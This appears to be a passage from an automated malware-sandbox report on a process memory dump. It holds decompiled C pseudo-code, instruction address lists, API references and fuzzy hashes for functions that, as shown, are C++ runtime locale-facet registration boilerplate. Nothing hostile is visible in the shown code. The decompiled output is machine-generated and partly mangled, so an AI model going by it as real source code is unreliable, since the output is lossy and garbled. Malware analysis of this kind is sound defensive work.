					} else {
						_t621 = _t639;
						goto L5;
					}
				}
			}

0x0048c67b
0x0048c682
0x0048c68c
0x0048c691
0x0048c69c
0x0048c6a0
0x0048c6ac
0x0048c6b1
0x0048c6b5
0x0048c6fa
0x0048c6fd
0x0048c709
0x0048c6b7
0x0048c6b9
0x0048c6bf
0x0048c6c5
0x0048c6cd
0x0048c6d0
0x0048c70a
0x0048c70f
0x0048c710
0x0048c717
0x0048c721
0x0048c726
0x0048c731
0x0048c735
0x0048c746
0x0048c748
0x0048c74a
0x0048c78f
0x0048c792
0x0048c79e
0x0048c74c
0x0048c74c
0x0048c74e
0x0048c754
0x0048c75a
0x0048c762
0x0048c765
0x0048c79f
0x0048c7a4
0x0048c7a5
0x0048c7ac
0x0048c7b6
0x0048c7bb
0x0048c7c6
0x0048c7ca
0x0048c7db
0x0048c7dd
0x0048c7df
0x0048c824
0x0048c827
0x0048c833
0x0048c7e1
0x0048c7e1
0x0048c7e3
0x0048c7e9
0x0048c7ef
0x0048c7f7
0x0048c7fa
0x0048c834
0x0048c839
0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c870
0x0048c872
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e
0x0048c6d2
0x0048c6d2
0x0048c6d5
0x0048c6d9
0x0048c6dd
0x0048c6ea
0x0048c6f2
0x0048c6f4
0x00000000
0x0048c6f4
0x0048c6bb
0x0048c6bb
0x00000000
0x0048c6bb
0x0048c6b9

APIs

__EH_prolog3.LIBCMT ref: 0048C682
std::_Lockit::_Lockit.LIBCPMT ref: 0048C68C

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048C6DD
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C6FD
Concurrency::cancel_current_task.LIBCPMT ref: 0048C70A

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 2610cede116285a7b16c44db75211bf99cf7681eafe2dd1bcc3ed7b1ed237458
Instruction ID: 763280d64c59db26a0c921a3853d59946f1e1473d98edf89d40c6471ebc0812a
Opcode Fuzzy Hash: 2610cede116285a7b16c44db75211bf99cf7681eafe2dd1bcc3ed7b1ed237458
Instruction Fuzzy Hash: 9101C435D001158BCB05FB65D855ABE7761AF44314F14481FE811AB392DF7C9D018B99

Uniqueness

Uniqueness Score: -1.00%

Function 004996F3, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E004996F3() {
				signed int _t71;
				void* _t120;
				signed int _t177;
				void* _t193;
				signed int _t195;
				signed int _t196;
				signed int _t197;
				signed int _t198;
				void* _t199;
				signed int _t200;
				signed int _t201;
				signed int _t202;
				signed int _t203;
				signed int _t204;
				signed int _t205;
				void* _t211;
				void* _t212;

				_push(8);
				E0049D90B(0x4d6966, _t193, _t199);
				E00488DEA(_t211 - 0x14, 0);
				_t200 =  *0x4ede5c; // 0x0
				 *(_t211 - 4) =  *(_t211 - 4) & 0x00000000;
				 *(_t211 - 0x10) = _t200;
				_t71 = E0042B315( *((intOrPtr*)(_t211 + 8)), E0042B22E(0x4ede3c, _t193, _t200, _t212));
				_t194 = _t71;
				if(_t71 != 0) {
					L5:
					E00488E42(_t211 - 0x14);
					return E0049D8D4(_t194);
				} else {
					if(_t200 == 0) {
						_push( *((intOrPtr*)(_t211 + 8)));
						_push(_t211 - 0x10);
						__eflags = E00499C55(_t194, _t200, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t194, _t200);
							E00488DEA(_t211 - 0x14, 0);
							_t201 =  *0x4ede64; // 0x0
							 *(_t211 - 4) =  *(_t211 - 4) & 0x00000000;
							 *(_t211 - 0x10) = _t201;
							_t195 = E0042B315( *((intOrPtr*)(_t211 + 8)), E0042B22E(0x4ede44, _t194, _t201, __eflags));
							__eflags = _t195;
							if(_t195 != 0) {
								L12:
								E00488E42(_t211 - 0x14);
								return E0049D8D4(_t195);
							} else {
								__eflags = _t201;
								if(__eflags == 0) {
									_push( *((intOrPtr*)(_t211 + 8)));
									_push(_t211 - 0x10);
									__eflags = E00499CBD(_t195, _t201, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t195, _t201);
										E00488DEA(_t211 - 0x14, 0);
										_t202 =  *0x4ede60; // 0x0
										 *(_t211 - 4) =  *(_t211 - 4) & 0x00000000;
										 *(_t211 - 0x10) = _t202;
										_t196 = E0042B315( *((intOrPtr*)(_t211 + 8)), E0042B22E(0x4ede40, _t195, _t202, __eflags));
										__eflags = _t196;
										if(_t196 != 0) {
											L19:
											E00488E42(_t211 - 0x14);
											return E0049D8D4(_t196);
										} else {
											__eflags = _t202;
											if(__eflags == 0) {
												_push( *((intOrPtr*)(_t211 + 8)));
												_push(_t211 - 0x10);
												__eflags = E00499D41(_t196, _t202, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t196, _t202);
													E00488DEA(_t211 - 0x14, 0);
													_t203 =  *0x4ede68; // 0x0
													 *(_t211 - 4) =  *(_t211 - 4) & 0x00000000;
													 *(_t211 - 0x10) = _t203;
													_t197 = E0042B315( *((intOrPtr*)(_t211 + 8)), E0042B22E(0x4ede48, _t196, _t203, __eflags));
													__eflags = _t197;
													if(_t197 != 0) {
														L26:
														E00488E42(_t211 - 0x14);
														return E0049D8D4(_t197);
													} else {
														__eflags = _t203;
														if(__eflags == 0) {
															_push( *((intOrPtr*)(_t211 + 8)));
															_push(_t211 - 0x10);
															__eflags = E00499DC6(_t197, _t203, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t197, _t203);
																E00488DEA(_t211 - 0x14, 0);
																_t204 =  *0x4ede6c; // 0x0
																 *(_t211 - 4) =  *(_t211 - 4) & 0x00000000;
																 *(_t211 - 0x10) = _t204;
																_t198 = E0042B315( *((intOrPtr*)(_t211 + 8)), E0042B22E(0x4ede4c, _t197, _t204, __eflags));
																__eflags = _t198;
																if(_t198 != 0) {
																	L33:
																	E00488E42(_t211 - 0x14);
																	return E0049D8D4(_t198);
																} else {
																	__eflags = _t204;
																	if(__eflags == 0) {
																		_push( *((intOrPtr*)(_t211 + 8)));
																		_push(_t211 - 0x10);
																		_t120 = E00499E32(_t198, _t204, __eflags);
																		_pop(_t177);
																		__eflags = _t120 - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(4);
																			E0049D90B(0x4d6989, _t198, _t204);
																			_t205 = _t177;
																			 *(_t211 - 0x10) = _t205;
																			 *((intOrPtr*)(_t205 + 4)) =  *((intOrPtr*)(_t211 + 0xc));
																			_push( *((intOrPtr*)(_t211 + 8)));
																			_t65 = _t211 - 4;
																			 *_t65 =  *(_t211 - 4) & 0x00000000;
																			__eflags =  *_t65;
																			 *_t205 = 0x402f68; // executed
																			E0049AC63(_t177, _t198, _t205,  *_t65); // executed
																			return E0049D8D4(_t205);
																		} else {
																			_t198 =  *(_t211 - 0x10);
																			 *(_t211 - 0x10) = _t198;
																			 *(_t211 - 4) = 1;
																			E0048919D(_t198);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t198 + 4))))();
																			 *0x4ede6c = _t198;
																			goto L33;
																		}
																	} else {
																		_t198 = _t204;
																		goto L33;
																	}
																}
															} else {
																_t197 =  *(_t211 - 0x10);
																 *(_t211 - 0x10) = _t197;
																 *(_t211 - 4) = 1;
																E0048919D(_t197);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t197 + 4))))();
																 *0x4ede68 = _t197;
																goto L26;
															}
														} else {
															_t197 = _t203;
															goto L26;
														}
													}
												} else {
													_t196 =  *(_t211 - 0x10);
													 *(_t211 - 0x10) = _t196;
													 *(_t211 - 4) = 1;
													E0048919D(_t196);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t196 + 4))))();
													 *0x4ede60 = _t196;
													goto L19;
												}
											} else {
												_t196 = _t202;
												goto L19;
											}
										}
									} else {
										_t195 =  *(_t211 - 0x10);
										 *(_t211 - 0x10) = _t195;
										 *(_t211 - 4) = 1;
										E0048919D(_t195);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t195 + 4))))();
										 *0x4ede64 = _t195;
										goto L12;
									}
								} else {
									_t195 = _t201;
									goto L12;
								}
							}
						} else {
							_t194 =  *(_t211 - 0x10);
							 *(_t211 - 0x10) = _t194;
							 *(_t211 - 4) = 1;
							E0048919D(_t194);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t194 + 4))))();
							 *0x4ede5c = _t194;
							goto L5;
						}
					} else {
						_t194 = _t200;
						goto L5;
					}
				}
			}

0x004996f3
0x004996fa
0x00499704
0x00499709
0x00499714
0x00499718
0x00499724
0x00499729
0x0049972d
0x00499772
0x00499775
0x00499781
0x0049972f
0x00499731
0x00499737
0x0049973d
0x00499745
0x00499748
0x00499782
0x00499787
0x00499788
0x0049978f
0x00499799
0x0049979e
0x004997a9
0x004997ad
0x004997be
0x004997c0
0x004997c2
0x00499807
0x0049980a
0x00499816
0x004997c4
0x004997c4
0x004997c6
0x004997cc
0x004997d2
0x004997da
0x004997dd
0x00499817
0x0049981c
0x0049981d
0x00499824
0x0049982e
0x00499833
0x0049983e
0x00499842
0x00499853
0x00499855
0x00499857
0x0049989c
0x0049989f
0x004998ab
0x00499859
0x00499859
0x0049985b
0x00499861
0x00499867
0x0049986f
0x00499872
0x004998ac
0x004998b1
0x004998b2
0x004998b9
0x004998c3
0x004998c8
0x004998d3
0x004998d7
0x004998e8
0x004998ea
0x004998ec
0x00499931
0x00499934
0x00499940
0x004998ee
0x004998ee
0x004998f0
0x004998f6
0x004998fc
0x00499904
0x00499907
0x00499941
0x00499946
0x00499947
0x0049994e
0x00499958
0x0049995d
0x00499968
0x0049996c
0x0049997d
0x0049997f
0x00499981
0x004999c6
0x004999c9
0x004999d5
0x00499983
0x00499983
0x00499985
0x0049998b
0x00499991
0x00499992
0x00499998
0x00499999
0x0049999c
0x004999d6
0x004999db
0x004999dc
0x004999e3
0x004999e8
0x004999ea
0x004999f0
0x004999f3
0x004999f6
0x004999f6
0x004999f6
0x004999fa
0x00499a00
0x00499a0c
0x0049999e
0x0049999e
0x004999a1
0x004999a5
0x004999a9
0x004999b6
0x004999be
0x004999c0
0x00000000
0x004999c0
0x00499987
0x00499987
0x00000000
0x00499987
0x00499985
0x00499909
0x00499909
0x0049990c
0x00499910
0x00499914
0x00499921
0x00499929
0x0049992b
0x00000000
0x0049992b
0x004998f2
0x004998f2
0x00000000
0x004998f2
0x004998f0
0x00499874
0x00499874
0x00499877
0x0049987b
0x0049987f
0x0049988c
0x00499894
0x00499896
0x00000000
0x00499896
0x0049985d
0x0049985d
0x00000000
0x0049985d
0x0049985b
0x004997df
0x004997df
0x004997e2
0x004997e6
0x004997ea
0x004997f7
0x004997ff
0x00499801
0x00000000
0x00499801
0x004997c8
0x004997c8
0x00000000
0x004997c8
0x004997c6
0x0049974a
0x0049974a
0x0049974d
0x00499751
0x00499755
0x00499762
0x0049976a
0x0049976c
0x00000000
0x0049976c
0x00499733
0x00499733
0x00000000
0x00499733
0x00499731

APIs

__EH_prolog3.LIBCMT ref: 004996FA
std::_Lockit::_Lockit.LIBCPMT ref: 00499704

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 00499755
std::_Lockit::~_Lockit.LIBCPMT ref: 00499775
Concurrency::cancel_current_task.LIBCPMT ref: 00499782

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 6abf941506e14b7361d78e07810b47e72f0795a2fff70a3903a1292df73f82db
Instruction ID: ecc89c3d6ce8d14d77863c0b9530e6bbc954f4bcb563ace94741e2b5c7e459db
Opcode Fuzzy Hash: 6abf941506e14b7361d78e07810b47e72f0795a2fff70a3903a1292df73f82db
Instruction Fuzzy Hash: D601ED35D00115DBCF01FBA9985A6BE7BA0AF80318F54446FE411AB382CF389E01CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0048C710, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C710(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v188;
				signed int _t201;
				void* _t371;
				short* _t535;
				void* _t584;
				signed int _t586;
				signed int _t587;
				signed int _t588;
				signed int _t589;
				signed int _t590;
				signed int _t591;
				signed int _t592;
				signed int _t593;
				signed int _t594;
				signed int _t595;
				signed int _t596;
				signed int _t597;
				signed int _t598;
				signed int _t599;
				signed int _t600;
				void* _t601;
				signed int _t602;
				signed int _t603;
				signed int _t604;
				signed int _t605;
				signed int _t606;
				signed int _t607;
				signed int _t608;
				signed int _t609;
				signed int _t610;
				signed int _t611;
				signed int _t612;
				signed int _t613;
				signed int _t614;
				signed int _t615;
				signed int _t616;
				signed int _t617;
				short* _t618;
				void* _t639;
				void* _t640;

				_push(8);
				E0049D90B(0x4d6966, _t584, _t601);
				E00488DEA( &_v20, 0);
				_t602 =  *0x4ede18; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t602;
				_t201 = E0042B315(_a8, E0042B22E(0x4eddbc, _t584, _t602, _t640));
				_t585 = _t201;
				if(_t201 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t585);
				} else {
					if(_t602 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E185(_t585, _t602, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t585, _t602);
							E00488DEA( &_v20, 0);
							_t603 =  *0x4edde8; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t603;
							_t586 = E0042B315(_a8, E0042B22E(0x4edd94, _t585, _t603, __eflags));
							__eflags = _t586;
							if(_t586 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t586);
							} else {
								__eflags = _t603;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E1ED(_t586, _t603, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t586, _t603);
										E00488DEA( &_v20, 0);
										_t604 =  *0x4ede20; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t604;
										_t587 = E0042B315(_a8, E0042B22E(0x4eddc4, _t586, _t604, __eflags));
										__eflags = _t587;
										if(_t587 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t587);
										} else {
											__eflags = _t604;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E255(_t587, _t604, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t587, _t604);
													E00488DEA( &_v20, 0);
													_t605 =  *0x4ede1c; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t605;
													_t588 = E0042B315(_a8, E0042B22E(0x4eddc0, _t587, _t605, __eflags));
													__eflags = _t588;
													if(_t588 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t588);
													} else {
														__eflags = _t605;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E2D9(_t588, _t605, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t588, _t605);
																E00488DEA( &_v20, 0);
																_t606 =  *0x4eddf0; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t606;
																_t589 = E0042B315(_a8, E0042B22E(0x4edd9c, _t588, _t606, __eflags));
																__eflags = _t589;
																if(_t589 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t589);
																} else {
																	__eflags = _t606;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E35E(_t589, _t606, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t589, _t606);
																			E00488DEA( &_v20, 0);
																			_t607 =  *0x4eddec; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t607;
																			_t590 = E0042B315(_a8, E0042B22E(0x4edd98, _t589, _t607, __eflags));
																			__eflags = _t590;
																			if(_t590 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t590);
																			} else {
																				__eflags = _t607;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E3E2(_t590, _t607, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t590, _t607);
																						E00488DEA( &_v20, 0);
																						_t608 =  *0x4ede00; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t608;
																						_t591 = E0042B315(_a8, E0042B22E(0x4edda4, _t590, _t608, __eflags));
																						__eflags = _t591;
																						if(_t591 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t591);
																						} else {
																							__eflags = _t608;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E467(_t591, _t608, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t591, _t608);
																									E00488DEA( &_v20, 0);
																									_t609 =  *0x4eddd0; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t609;
																									_t592 = E0042B315(_a8, E0042B22E(0x4edd7c, _t591, _t609, __eflags));
																									__eflags = _t592;
																									if(_t592 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t592);
																									} else {
																										__eflags = _t609;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E4CF(_t592, _t609, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												E0049D90B(0x4d6966, _t592, _t609);
																												E00488DEA( &_v20, 0);
																												_t610 =  *0x4ede04; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t610;
																												_t593 = E0042B315(_a8, E0042B22E(0x4edda8, _t592, _t610, __eflags));
																												__eflags = _t593;
																												if(_t593 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t593);
																												} else {
																													__eflags = _t610;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E537(_t593, _t610, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															E0049D90B(0x4d6966, _t593, _t610);
																															E00488DEA( &_v20, 0);
																															_t611 =  *0x4eddd4; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t611;
																															_t594 = E0042B315(_a8, E0042B22E(0x4edd80, _t593, _t611, __eflags));
																															__eflags = _t594;
																															if(_t594 != 0) {
																																L68:
																																E00488E42( &_v20);
																																return E0049D8D4(_t594);
																															} else {
																																__eflags = _t611;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E59F(_t594, _t611, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		E0049D90B(0x4d6966, _t594, _t611);
																																		E00488DEA( &_v20, 0);
																																		_t612 =  *0x4ede08; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t612;
																																		_t595 = E0042B315(_a8, E0042B22E(0x4eddac, _t594, _t612, __eflags));
																																		__eflags = _t595;
																																		if(_t595 != 0) {
																																			L75:
																																			E00488E42( &_v20);
																																			return E0049D8D4(_t595);
